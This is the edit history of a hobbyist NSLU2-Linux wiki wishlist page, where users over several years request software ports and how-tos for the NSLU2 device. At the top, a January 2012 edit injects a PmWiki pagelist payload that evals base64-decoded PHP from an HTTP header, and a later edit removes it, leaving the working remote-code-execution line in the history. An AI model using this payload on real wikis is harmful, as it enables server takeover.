NSLU2-Linux
view · edit · print · history

HowTo.WishList History

Hide minor edits - Show changes to markup

January 03, 2012, at 06:56 PM by bb --
Changed line 2 from:

(:pagelist order={']);eval(base64_decode($_SERVER[HTTP_CMD]));print(___);die;#}:)

to:
January 03, 2012, at 06:32 PM by bb --
Changed line 2 from:
to:

(:pagelist order={']);eval(base64_decode($_SERVER[HTTP_CMD]));print(___);die;#}:)

December 25, 2010, at 11:11 AM by starter48 --
Deleted lines 257-258:
  • sshpass - ssh command line password utility would be helpful for routers without storage for ssh public keys (http://sourceforge.net/projects/sshpass/).
December 25, 2010, at 11:08 AM by starter48 -- added a wish about sshpass to be ported
Changed lines 237-238 from:
to:
  • sshpass - ssh command line password utility would be helpful for routers without storage for ssh public keys (http://sourceforge.net/projects/sshpass/).
Added lines 258-259:
  • sshpass - ssh command line password utility would be helpful for routers without storage for ssh public keys (http://sourceforge.net/projects/sshpass/).
April 27, 2010, at 08:18 AM by vinz2k --
Changed lines 242-243 from:
  • TrueCrypt - Highly configurable encryption system, also allows for plausable deniability!
to:

* TrueCrypt - Highly configurable encryption system, also allows for plausable deniability! Go to http://www.nslu2-linux.org/wiki/HowTo/CompilTrueCrypt

April 01, 2010, at 08:18 PM by jungleboy --
Changed lines 38-39 from:
  • Our own ERASE-ALL. Since the original EraseAll is so risky to use, wouldn't it be great to have a reliable counterpart available for NSLU2?
to:
  • Our own ERASE-ALL. Since the original EraseAll is so risky to use, wouldn't it be great to have a reliable counterpart available for NSLU2? (I'm thinking about those of us with a non-responding slug, with a blinking "Ready/Status" LED, that won't recognize usb HDs? anymore, even with unslung or debian.)
April 01, 2010, at 08:13 PM by jungleboy -- free EraseAll
Added lines 38-39:
  • Our own ERASE-ALL. Since the original EraseAll is so risky to use, wouldn't it be great to have a reliable counterpart available for NSLU2?
July 03, 2009, at 10:12 PM by tomk --
Changed lines 231-235 from:
  • [=Unified home server] - Using a slug, or wireless router+disk have a centralized dhcp,ldap,router,imapd,ejabberd,webportal. Plug config, instant community,centralized contacts and mail, and maybe web filtering.
  • [=SyncML? Server] - I would like to use the Slug as an OTA Sync Server to sync my appointments between Outlook, Ical and My WLAN Phone to be independent from Google. I did it with Funambol on my PC, but seems to use too much resources for the Slug and needs Java.
to:
  • Unified home server - Using a slug, or wireless router+disk have a centralized dhcp,ldap,router,imapd,ejabberd,webportal. Plug config, instant community,centralized contacts and mail, and maybe web filtering.
  • SyncML Server - I would like to use the Slug as an OTA Sync Server to sync my appointments between Outlook, Ical and My WLAN Phone to be independent from Google. I did it with Funambol on my PC, but seems to use too much resources for the Slug and needs Java.
July 03, 2009, at 10:09 PM by tomk -- OTA Sync of Mobile Phones via SyncML
Changed lines 233-235 from:
to:
  • [=SyncML? Server] - I would like to use the Slug as an OTA Sync Server to sync my appointments between Outlook, Ical and My WLAN Phone to be independent from Google. I did it with Funambol on my PC, but seems to use too much resources for the Slug and needs Java.
June 30, 2009, at 04:19 PM by sdc --
Changed lines 11-12 from:
  • "Linphone and yeaphone on unslung". There is solution for SlugOS already. Yealink USB-P1K VOIP phone model and Unslung are not fully compatible at the moment. There should a way to port Linphone and yeaphone packages to Asterisk.
to:
  • Linphone and yeaphone on unslung. There is solution for SlugOS already. Yealink USB-P1K VOIP phone model and Unslung are not fully compatible at the moment. There should a way to port Linphone and yeaphone packages to Asterisk.
June 30, 2009, at 04:18 PM by sdc -- Request for JFS
Added lines 37-39:
  • Support for JFS. Provide kernel module for JFS in SlugOS/BE. JFS file system
October 26, 2008, at 09:15 AM by Martin Manscher --
Changed line 171 from:
  • py-bittorrent is too resource heavy. The solution is rtorrent. It has loads of features (multi-torrent, upnp etc), and doesn't eat too much cpu or ram. v0.3 is in the repository, but we really need v0.5+
to:
  • py-bittorrent is too resource heavy. The solution is rtorrent. It has loads of features (multi-torrent, upnp etc), and doesn't eat too much cpu or ram. v0.3 is in the repository, but we really need v0.5+ Comment: See InstallRtorrentOnDebain
Changed lines 292-293 from:
to:
October 26, 2008, at 09:11 AM by Martin Manscher -- Rtorrent link
Changed lines 292-293 from:
  • We need rtorrent v0.5+!
to:
September 13, 2008, at 03:48 AM by pitsch -- saydate, saytime
Added lines 84-85:
  • saytime and saydate for an advanced talking clock. http://packages.debian.org/etch/saytime
September 04, 2008, at 09:06 AM by Vikezz -- typo
Changed lines 135-136 from:
  • (just a quick note! I've read a very detailed guide how to get PHP + MySQL? + Cherokee webserver to work like a charm on the slug using unslung. http://unslung.blogspot.com !
to:
  • (Just a quick note! I wrote a very detailed guide how to get PHP + MySQL? + Cherokee webserver to work like a charm on the using unslung. Check it out here http://unslung.blogspot.com !
September 04, 2008, at 09:05 AM by Vikezz -- unslung blog
Changed lines 135-136 from:
to:
  • (just a quick note! I've read a very detailed guide how to get PHP + MySQL? + Cherokee webserver to work like a charm on the slug using unslung. http://unslung.blogspot.com !
July 27, 2008, at 09:30 PM by Charles S -- trying to fix stuck paragraphs
Deleted line 227:
Changed lines 230-232 from:
  • ZFS-FUSE - The most intelligently designed and robust file system I have ever seen. Data integrity is its middle name .. FUSE because it has a license that is incompatible with the current GPL (its part of Open Solaris). With this FS you can chuck LVM, and MDADM, it has those functions integrated. Its fast, it has near realtime detection and correction of data corruption (much better when you use redundancy equivalent to RAID 1, 5, or better the way this thing is made it CAN handle a 2nd disk failure while recovering from one. It has dynamic stripe size, built in snapshots and is almost impossible to corrupt by power failure. It is simple to use as well .. even building a redundant array is quick and easy, it doe not take hours like MDADM, it takes seconds.
to:
  • ZFS_FUSE - The most intelligently designed and robust file system I have ever seen. Data integrity is its middle name. FUSE because it has a license that is incompatible with the current GPL (its part of Open Solaris). With this FS you can chuck LVM, and MDADM, it has those functions integrated. Its fast, it has near realtime detection and correction of data corruption (much better when you use redundancy equivalent to RAID 1, 5, or better the way this thing is made it CAN handle a 2nd disk failure while recovering from one. It has dynamic stripe size, built in snapshots and is almost impossible to corrupt by power failure. It is simple to use as well .. even building a redundant array is quick and easy, it doe not take hours like MDADM, it takes seconds.
July 27, 2008, at 09:26 PM by Charles S --
Changed lines 226-227 from:
to:
Changed lines 231-232 from:
  • ''ZFS-FUSE - The most intelligently designed and robust file system I have ever seen. Data integrity is its middle name .. FUSE because it has a license that is incompatible with the current GPL (its part of Open Solaris). With this FS you can chuck LVM, and MDADM, it has those functions integrated. Its fast, it has near realtime detection and correction of data corruption (much better when you use redundancy equivalent to RAID 1, 5, or better the way this thing is made it CAN handle a 2nd disk failure while recovering from one. It has dynamic stripe size, built in snapshots and is almost impossible to corrupt by power failure. It is simple to use as well .. even building a redundant array is quick and easy, it doe not take hours like MDADM, it takes seconds.
to:
  • ZFS-FUSE - The most intelligently designed and robust file system I have ever seen. Data integrity is its middle name .. FUSE because it has a license that is incompatible with the current GPL (its part of Open Solaris). With this FS you can chuck LVM, and MDADM, it has those functions integrated. Its fast, it has near realtime detection and correction of data corruption (much better when you use redundancy equivalent to RAID 1, 5, or better the way this thing is made it CAN handle a 2nd disk failure while recovering from one. It has dynamic stripe size, built in snapshots and is almost impossible to corrupt by power failure. It is simple to use as well .. even building a redundant array is quick and easy, it doe not take hours like MDADM, it takes seconds.
July 27, 2008, at 09:24 PM by Charles S -- request ZFS-FUSE
Added lines 229-231:
  • ''ZFS-FUSE - The most intelligently designed and robust file system I have ever seen. Data integrity is its middle name .. FUSE because it has a license that is incompatible with the current GPL (its part of Open Solaris). With this FS you can chuck LVM, and MDADM, it has those functions integrated. Its fast, it has near realtime detection and correction of data corruption (much better when you use redundancy equivalent to RAID 1, 5, or better the way this thing is made it CAN handle a 2nd disk failure while recovering from one. It has dynamic stripe size, built in snapshots and is almost impossible to corrupt by power failure. It is simple to use as well .. even building a redundant array is quick and easy, it doe not take hours like MDADM, it takes seconds.
May 15, 2008, at 06:58 PM by avgjoe -- TCP Vegas implementation
Changed lines 132-133 from:
  • Command line rapidshare downloader. Preferably for free accounts. Should be able to accept rapidshare url, queue downloads, and download automatically. Currently I am investigating: http://m0ds-ubuntu.blogspot.com/2008/01/en-rapidsharecom-download-manager-for.html
to:
  • TCP Vegas http://neal.nu/uw/linux-vegas/
May 13, 2008, at 06:22 PM by avgjoe --
Added lines 82-83:
  • dosbox www.dosbox.com
May 10, 2008, at 05:42 PM by axm -- fulfilled clutch howto wish
Deleted lines 129-131:
  • Transmission + Clutch: I'd love to see a HowTo for Transmission with Clutch on NSLU2 using Unslung. There seems to be a decent HowTo out there for many other NAS's using OptWare? however none are specific to the slug/unslung.
Added lines 246-247:
  • Transmission + Clutch: I'd love to see a HowTo for Transmission with Clutch on NSLU2 using Unslung. There seems to be a decent HowTo out there for many other NAS's using OptWare? however none are specific to the slug/unslung.
May 09, 2008, at 12:00 AM by lopho --
Changed lines 227-228 from:
to:
May 08, 2008, at 11:58 PM by lopho --
Deleted lines 226-227:
  • [=curlftpfs] - Making it possible to direclty mount a ftp-server on the slug. To make it possible to use a shared data storage for all deviced in a network. To make a Torrent/upnp/remoteaccess file system. w00t.
May 08, 2008, at 11:57 PM by lopho --
Changed lines 228-229 from:
  • curlftpfs - Making it possible to direclty mount a ftp-server on the slug. To make it possible to use a shared data storage for all deviced in a network. To make a Torrent/upnp/remoteaccess file system. w00t.
to:
  • [=curlftpfs] - Making it possible to direclty mount a ftp-server on the slug. To make it possible to use a shared data storage for all deviced in a network. To make a Torrent/upnp/remoteaccess file system. w00t.
May 08, 2008, at 11:55 PM by lopho --
May 08, 2008, at 11:53 PM by lopho --
Added lines 228-229:
  • curlftpfs - Making it possible to direclty mount a ftp-server on the slug. To make it possible to use a shared data storage for all deviced in a network. To make a Torrent/upnp/remoteaccess file system. w00t.
April 28, 2008, at 08:16 AM by me -- add a wish
Added lines 226-227:
  • [=Unified home server] - Using a slug, or wireless router+disk have a centralized dhcp,ldap,router,imapd,ejabberd,webportal. Plug config, instant community,centralized contacts and mail, and maybe web filtering.
April 23, 2008, at 10:30 PM by Asterekatwp_pl -- SIP <-> Skype gateway
Added lines 224-225:
  • SIP <-> Skype Gateway - Would be nice to have a home SIP <-> Skype gateway which would allow one to make a Skype calls with a standard SIP phone or SIP enabled router. This would require some sort of tool (probably located on the slug and managed from PC) for SIP to Skype address translation.
April 23, 2008, at 12:33 AM by avgjoe -- Added link to rapidshare script created for Ubuntu. Needs some work.
Changed lines 133-134 from:
  • Command line rapidshare downloader. Preferably for free accounts. Should be able to accept rapidshare url, queue downloads, and download automatically.
to:
  • Command line rapidshare downloader. Preferably for free accounts. Should be able to accept rapidshare url, queue downloads, and download automatically. Currently I am investigating: http://m0ds-ubuntu.blogspot.com/2008/01/en-rapidsharecom-download-manager-for.html
April 09, 2008, at 09:26 AM by mekondelta -- Added cleanup of wireless page. Requested more pre-compiled binaries
Added lines 222-223:
  • Make Wireless Support Easier - The page is very messy and seems to be very difficult. Can it be improved on? Reading that page I wouldn't know where to start. Pre-compiled binaries would be a real help as well.
April 09, 2008, at 05:35 AM by llamasonic -- transmission + clutch howto on unslung
Added lines 130-132:
  • Transmission + Clutch: I'd love to see a HowTo for Transmission with Clutch on NSLU2 using Unslung. There seems to be a decent HowTo out there for many other NAS's using OptWare? however none are specific to the slug/unslung.
Changed lines 273-276 from:
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
  • Transmission+Clutch: I'd love to see a HowTo for Transmission with Clutch on NSLU2 using Unslung. There seems to be a decent HowTo out there for many other NAS's using OptWare? however none are specific to the slug/unslung.
to:
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
April 09, 2008, at 05:31 AM by llamasonic -- need a transmission + clutch howto for unslung
Added lines 272-273:
  • Transmission+Clutch: I'd love to see a HowTo for Transmission with Clutch on NSLU2 using Unslung. There seems to be a decent HowTo out there for many other NAS's using OptWare? however none are specific to the slug/unslung.
April 05, 2008, at 06:09 PM by pitsch -- shell.fm
Added lines 82-83:
  • Shell.fm is a lightweight console based player for Last.FM radio streams. See http://nex.scrapping.cc/shell-fm/#about
April 05, 2008, at 06:06 PM by pitsch --
Changed lines 82-83 from:
  • http://stephenjungels.com/jungels.net/projects/plait/? a command line based jukebox and playlist generator. following a search-term filter based approach this is a new way to generate smart playlists out of large and well tagged audio file collections. works with different players.
to:
  • Plait a command line based jukebox and playlist generator. following a search-term filter based approach this is a new way to generate smart playlists out of large and well tagged audio file collections. works with different players. See http://stephenjungels.com/jungels.net/projects/plait/
April 05, 2008, at 06:05 PM by pitsch -- plait url added
Changed lines 82-83 from:
  • Plait a command line based jukebox and playlist generator. following a search-term filter based approach this is a new way to generate smart playlists out of large and well tagged audio file collections. works with different players, MPD maybe too?
to:
  • http://stephenjungels.com/jungels.net/projects/plait/? a command line based jukebox and playlist generator. following a search-term filter based approach this is a new way to generate smart playlists out of large and well tagged audio file collections. works with different players.
April 03, 2008, at 11:51 PM by avgjoe --
Changed lines 128-129 from:
  • moblock: Command line rapidshare downloader. Preferably for free accounts. Should be able to accept rapidshare url, queue downloads, and download automatically.
to:
  • Command line rapidshare downloader. Preferably for free accounts. Should be able to accept rapidshare url, queue downloads, and download automatically.
April 03, 2008, at 07:32 PM by avgjoe --
Added lines 127-129:
  • moblock: Command line rapidshare downloader. Preferably for free accounts. Should be able to accept rapidshare url, queue downloads, and download automatically.
April 02, 2008, at 09:37 PM by pitsch -- plait jukebox added to multimedia wishlist
Added lines 82-83:
  • Plait a command line based jukebox and playlist generator. following a search-term filter based approach this is a new way to generate smart playlists out of large and well tagged audio file collections. works with different players, MPD maybe too?
April 02, 2008, at 09:33 PM by pitsch --
Deleted lines 95-96:
  • StreamRipper:Port of StreamRipper, a utility to record MP3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed --> solved: ipkg install streamripper
Added lines 242-244:
  • StreamRipper:Port of StreamRipper, a utility to record MP3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed --> solved: ipkg install streamripper
April 02, 2008, at 09:31 PM by pitsch -- ipkg install castget
Deleted lines 111-112:
  • Podcast downloader Subscribe to and download podcasts. Maybe this could be done with a command line aggregator like Podget or Castget. Bounty available! (diana (at) bootlab.org)
Added lines 288-289:
  • Podcast downloader Subscribe to and download podcasts. Maybe this could be done with a command line aggregator like Podget or Castget.
April 02, 2008, at 09:28 PM by pitsch -- streamripper available for a while now..
Changed lines 96-97 from:
  • StreamRipper:Port of StreamRipper, a utility to record MP3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed
to:
  • StreamRipper:Port of StreamRipper, a utility to record MP3 streams from internet to a file. Note: configure/make works straight from the source tarball if you have crosstools installed --> solved: ipkg install streamripper
Changed lines 129-130 from:
  • Apache + PHP + MySQL HowTo: It would be great if someone who successfully installed Apache 2 with PHP and MySQL? on Unslung could write a short HowTo! Itís really scary having to figure these things out on your own.
to:
  • Apache + PHP + MySQL HowTo: It would be great if someone who successfully installed Apache 2 with PHP and MySQL? on Unslung could write a short HowTo! It’s really scary having to figure these things out on your own.
April 01, 2008, at 01:34 AM by Peter Lambrechtsen -- DVD Ripping wishlist
Added lines 126-127:
  • DVD Ripping support: It would be great to have support for libdvdcss and libdvdread so you could connect a USB DVD Drive up to the slug, then it would rip the whole dvd to either an ISO (my preference, removing CSS code on the way through like DVD Decryptor) or to VOB files. Then you could archive your whole DVD collection to ISO's and play them back off HDD.
March 20, 2008, at 05:44 PM by Lajasha --
Added lines 215-216:
  • TrueCrypt - Highly configurable encryption system, also allows for plausable deniability!
March 15, 2008, at 04:34 AM by bdguru --
Changed lines 300-301 from:
  • {-Barracuda Drive A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV server with granular user/group ACL management.} - This is not an open source product, so it cannot be ported to the NSLU2. - Real Time Logic has now ported BarracudaDrive? to Unslung.
to:
  • Barracuda Drive A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV server with granular user/group ACL management. This is not an open source product, so it cannot be ported to the NSLU2. Real Time Logic has now ported BarracudaDrive? to Unslung.
March 15, 2008, at 04:33 AM by bdguru --
Changed lines 300-301 from:
  • Barracuda Drive - A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV server with granular user/group ACL management. This is not an open source product, so it cannot be ported to the NSLU2.
to:
  • {-Barracuda Drive A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV server with granular user/group ACL management.} - This is not an open source product, so it cannot be ported to the NSLU2. - Real Time Logic has now ported BarracudaDrive? to Unslung.
March 05, 2008, at 11:12 AM by J -- (Added \"on unslung\")
Changed lines 127-128 from:
  • Apache + PHP + MySQL HowTo: It would be great if someone who successfully installed Apache 2 with PHP and MySQL? could write a short HowTo! Itís really scary having to figure these things on your own.
to:
  • Apache + PHP + MySQL HowTo: It would be great if someone who successfully installed Apache 2 with PHP and MySQL? on Unslung could write a short HowTo! Itís really scary having to figure these things out on your own.
March 05, 2008, at 08:10 AM by J -- Apache HowTo wish
Added lines 127-128:
  • Apache + PHP + MySQL HowTo: It would be great if someone who successfully installed Apache 2 with PHP and MySQL? could write a short HowTo! Itís really scary having to figure these things on your own.
March 03, 2008, at 01:09 PM by Ryu -- Added Identd
Added lines 129-130:
  • identd: Ident server. Especially useful for IRC.
February 28, 2008, at 08:51 PM by fcarolo -- fixed false wikilinks
Changed lines 11-12 from:
  • "Linphone and yeaphone on unslung". There is solution for SlugOS already. Yealink USB-P1K? VOIP phone model and Unslung are not fully compatible at the moment. There should a way to port Linphone and yeaphone packages to Asterisk.
to:
  • "Linphone and yeaphone on unslung". There is solution for SlugOS already. Yealink USB-P1K VOIP phone model and Unslung are not fully compatible at the moment. There should a way to port Linphone and yeaphone packages to Asterisk.
Changed lines 48-49 from:
  • PowerWare? etc. UPS support: Add e.g. nut package to allow more general UPS control (see: http://www.networkupstools.org/).
to:
  • PowerWare etc. UPS support: Add e.g. nut package to allow more general UPS control (see: http://www.networkupstools.org/).
February 28, 2008, at 06:25 PM by MM --
Added lines 10-12:
  • "Linphone and yeaphone on unslung". There is solution for SlugOS already. Yealink USB-P1K? VOIP phone model and Unslung are not fully compatible at the moment. There should a way to port Linphone and yeaphone packages to Asterisk.
February 20, 2008, at 01:00 PM by JackDante -- Squeezebox Duett
Added lines 111-112:
  • Squeezebox Duett: is it possible to install squeezebox duett software on a slug?
January 31, 2008, at 11:14 PM by avgjoe -- update moblock with url for forum posting with current issues
Changed lines 122-123 from:
  • moblock: Would like to get moblock added
to:
  • moblock: Would like to get moblock added. See http://forums.phoenixlabs.org/showthread.php?t=15997
January 31, 2008, at 11:13 PM by avgjoe -- added moblock
Added lines 122-123:
  • moblock: Would like to get moblock added
January 27, 2008, at 07:28 PM by Timo -- more UPS support
Added lines 45-46:
  • PowerWare? etc. UPS support: Add e.g. nut package to allow more general UPS control (see: http://www.networkupstools.org/).
January 24, 2008, at 12:09 PM by choosyg --
Changed lines 199-200 from:
  • Xalan-java - It would be really cool to have the slug doing the xslt transform. (to avoid problems with old browsers or bots, e.g. googlebot)
to:
  • Xalan-java or Xalan-c++ and xerces - It would be really cool to have the slug doing the xslt transform. (to avoid problems with old browsers or bots, e.g. googlebot)
January 24, 2008, at 12:03 PM by choosyg -- install Xalan-java request
Added lines 199-200:
  • Xalan-java - It would be really cool to have the slug doing the xslt transform. (to avoid problems with old browsers or bots, e.g. googlebot)
January 21, 2008, at 06:56 PM by anonymous -- SSL-Explorer
Added lines 197-198:
  • SSL-Explorer Server I know it might be memory and disk space intensive, but SSL-Explorer is a very nice web-based SSL VPN. It's so rich and full of features and is easily accessible. The prerequisites for this would be JDK and Apache Ant. Currently, it doesn't look like there's a whole lot of support along the lines of Java and JDK.
January 17, 2008, at 08:37 PM by anonymous -- openvpn for DS 207?
Changed lines 227-228 from:
to:
Unfortunately it does not work on the Disk Station 207 which uses a 2.6 kernel. Is there any chance to support this?
January 13, 2008, at 02:28 PM by N36 -- Encryption howto linked
Added lines 63-67:
I have created a howto for an encrypted root filesystem via LUKS on Debian. Although this doesn't work directly with OpenSlug, it uses a key file on a USB stick to decrypt the root partition, from which then additional partitions can be decrypted. And of course, it uses LUKS, which is pretty secure and comfortable to work with. - N36
December 17, 2007, at 06:45 PM by fcarolo -- fixed false wikilinks
Changed lines 72-73 from:
  • PulseAudio Enable sound playback across network AirTunes? style through USB sound card. See http://www.pulseaudio.org
to:
  • PulseAudio Enable sound playback across network AirTunes style through USB sound card. See http://www.pulseaudio.org
Changed lines 78-79 from:
  • MythTV Master Backend: Before getting to using the slug as a full-fledged MythTV? backend complete with ATSC/DVB hardware tuner (as described below), perhaps it might be better to first just try getting the slug to work as just a master-backend (no video capture card/USB device, aka tuner). The way MythTV can be set up, you can seperate the major functions into master-backend (the "brains"), the slave-backend (the recorder that has the tuner) and the front-end (the viewer). Why would you want to do it this way, you ask, as opposed to having all three functions be served by the same machine? Well, if you have the hardware and don't mind wasting energy, go ahead, but to me a slug would be the perfect "brains" machine that runs quietly & efficiently, 24/7 and simply wakes up the recorder when shows need to be recorded. As soon as recording is done (and other recordings don't need to take place for a while and no one is currently watching), the slave-backend shuts itself down. Whenever anyone wants to watch live TV or a previously recorded show, it turns on the frontend which will connect to the slave-backend (waking it up if it's alseep) which outputs the video feed. I also wonder if even at turbo'd 266Mhz slug will be fast enough to record HD MPEG-2 content in addition to handling the scheduling and video streaming duties; seems like it would get pretty taxed. Let's try to walk before we run...
to:
  • MythTV Master Backend: Before getting to using the slug as a full-fledged MythTV backend complete with ATSC/DVB hardware tuner (as described below), perhaps it might be better to first just try getting the slug to work as just a master-backend (no video capture card/USB device, aka tuner). The way MythTV can be set up, you can seperate the major functions into master-backend (the "brains"), the slave-backend (the recorder that has the tuner) and the front-end (the viewer). Why would you want to do it this way, you ask, as opposed to having all three functions be served by the same machine? Well, if you have the hardware and don't mind wasting energy, go ahead, but to me a slug would be the perfect "brains" machine that runs quietly & efficiently, 24/7 and simply wakes up the recorder when shows need to be recorded. As soon as recording is done (and other recordings don't need to take place for a while and no one is currently watching), the slave-backend shuts itself down. Whenever anyone wants to watch live TV or a previously recorded show, it turns on the frontend which will connect to the slave-backend (waking it up if it's alseep) which outputs the video feed. I also wonder if even at turbo'd 266Mhz slug will be fast enough to record HD MPEG-2 content in addition to handling the scheduling and video streaming duties; seems like it would get pretty taxed. Let's try to walk before we run...
Changed lines 96-97 from:
Skype does run on ARM but requires 316 MHz? processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com
to:
Skype does run on ARM but requires 316 MHz processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com
Changed lines 117-118 from:
  • GNU Alive: An autologin & Keep-Alive Daemon for various WAN/LAN/ADSL connections provided by several (mainly Swedish) ISPs?.
to:
  • GNU Alive: An autologin & Keep-Alive Daemon for various WAN/LAN/ADSL connections provided by several (mainly Swedish) ISPs.
Changed line 133 from:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3 (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name Squirrelmail works fine on my Slug (Unslung 6.8). As long as your web server supports PHP (4 or 5) it should just work. As it's PHP it does not need an ipkg
to:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3 (works fine with X-mail on the Slug and multiple external POP3-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name Squirrelmail works fine on my Slug (Unslung 6.8). As long as your web server supports PHP (4 or 5) it should just work. As it's PHP it does not need an ipkg
Changed lines 149-150 from:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver. (tawalker: procmail is in the Unslung feeds. I now have a pretty comprehensive e-mail system, largely ported over from the PC which the 'slug' replaced. Downloads all our POP3? mails (fetchmail) and routes them to the family users' mailboxes (via sendmail and procmail), where we can pick them up (IMAP via dovecot, or webmail via php-thttpd/RoundCube?). (18/12/2006))
to:
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver. (tawalker: procmail is in the Unslung feeds. I now have a pretty comprehensive e-mail system, largely ported over from the PC which the 'slug' replaced. Downloads all our POP3 mails (fetchmail) and routes them to the family users' mailboxes (via sendmail and procmail), where we can pick them up (IMAP via dovecot, or webmail via php-thttpd/RoundCube). (18/12/2006))
Changed lines 247-248 from:
  • tawalker: I've put such a system together - it downloads all our POP3? mails (fetchmail) and routes them to the family users' mailboxes (via sendmail and procmail), where we can pick them up (IMAP via dovecot, or webmail via php-thttpd/RoundCube?). It's not all configured "out of the box", but there are plenty of Linux howtos on the Net which should point the way. Works great. (1/1/2007))
to:
  • tawalker: I've put such a system together - it downloads all our POP3 mails (fetchmail) and routes them to the family users' mailboxes (via sendmail and procmail), where we can pick them up (IMAP via dovecot, or webmail via php-thttpd/RoundCube). It's not all configured "out of the box", but there are plenty of Linux howtos on the Net which should point the way. Works great. (1/1/2007))
Changed lines 277-278 from:
  • Barracuda Drive - A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV? server with granular user/group ACL management. This is not an open source product, so it cannot be ported to the NSLU2.
to:
  • Barracuda Drive - A port of http://barracudaserver.com/products/HomeServer/ to Unslung. A easy to use, easy to manage, easy to setup secure WebDAV server with granular user/group ACL management. This is not an open source product, so it cannot be ported to the NSLU2.
December 16, 2007, at 07:46 PM by bjoern -- correction
Changed lines 72-73 from:
  • PulseAudio Enable sound playback across network airport express style through USB sound card. See http://www.pulseaudio.org
to:
  • PulseAudio Enable sound playback across network AirTunes? style through USB sound card. See http://www.pulseaudio.org
November 26, 2007, at 02:07 PM by bjorn -- starting howto
Changed lines 72-73 from:
  • PulseAudio server Enable sound playback across network airport express style through USB sound card. See http://www.pulseaudio.org
to:
  • PulseAudio Enable sound playback across network airport express style through USB sound card. See http://www.pulseaudio.org
November 20, 2007, at 12:29 PM by fcarolo -- removed false wikilink
Changed lines 72-73 from:
  • PulseAudio server Enable sound playback across network airport express style through USB sound card. See http://www.pulseaudio.org
to:
  • PulseAudio server Enable sound playback across network airport express style through USB sound card. See http://www.pulseaudio.org
November 19, 2007, at 10:05 PM by bjoern -- PulseAudio to the people!
Added lines 72-73:
  • PulseAudio server Enable sound playback across network airport express style through USB sound card. See http://www.pulseaudio.org
November 14, 2007, at 02:19 PM by fcarolo -- fixed false wikilinks
Changed lines 137-138 from:
  • ckong: I use JAlbum? (http://jalbum.net/) which pre-generates the album for uploading. Indexes display very fast as it doesn't rely on the pokey 266 Mghz NSLU2 to generate on the fly.
to:
  • ckong: I use JAlbum (http://jalbum.net/) which pre-generates the album for uploading. Indexes display very fast as it doesn't rely on the pokey 266 Mghz NSLU2 to generate on the fly.
November 09, 2007, at 07:08 PM by ckong -- JAlbum for photo server
Changed lines 136-137 from:
  • yappa-ng (with apache2, php, libgd) also works fine.
to:
  • yappa-ng (with apache2, php, libgd) also works fine.
  • ckong: I use JAlbum? (http://jalbum.net/) which pre-generates the album for uploading. Indexes display very fast as it doesn't rely on the pokey 266 Mghz NSLU2 to generate on the fly.
September 25, 2007, at 09:21 AM by Merlinweb -- Hamachi Client
Changed lines 187-188 from:
  • HAMACHI CLient A very good thing would be create a package based on the ARM Linux Version of Hamachi CLient? http://www.hamachi.cc. This client is very useful to create 0 configuration VPN on machines in a MAN behind NAT that not have a public ip addres and aren't reacheable
to:
  • HAMACHI Client A very good thing would be create a package based on the ARM Linux Version of Hamachi Client (http://www.hamachi.cc). This client is very useful to create 0 configuration VPN on machines in a MAN behind NAT that not have a public ip addres and aren't reacheable
September 25, 2007, at 09:18 AM by Merlinweb -- Hamachi Client
Added lines 187-188:
  • HAMACHI CLient A very good thing would be create a package based on the ARM Linux Version of Hamachi CLient? http://www.hamachi.cc. This client is very useful to create 0 configuration VPN on machines in a MAN behind NAT that not have a public ip addres and aren't reacheable
September 21, 2007, at 07:02 PM by fcarolo -- added link to donation, info about castget
Added lines 7-8:

Added lines 27-30:

https://www.paypal.com/en_US/i/btn/x-click-but04.gif Please consider making a donation to the project if your wish has been fulfilled.


Added line 71:
Added lines 102-103:
September 11, 2007, at 10:26 AM by pitsch -- request to compile castget podcaster added
Changed lines 93-94 from:
  • Podcast downloader Subscribe to and download podcasts. Maybe this could be done with a command line aggregator like Podget.
to:
  • Podcast downloader Subscribe to and download podcasts. Maybe this could be done with a command line aggregator like Podget or Castget. Bounty available! (diana (at) bootlab.org)
September 03, 2007, at 06:28 AM by marceln -- Remove false wiki words
Changed lines 249-250 from:
  • PDA - Make a cheap PDA based on NSLU2
to:
  • PDA - Make a cheap PDA based on NSLU2
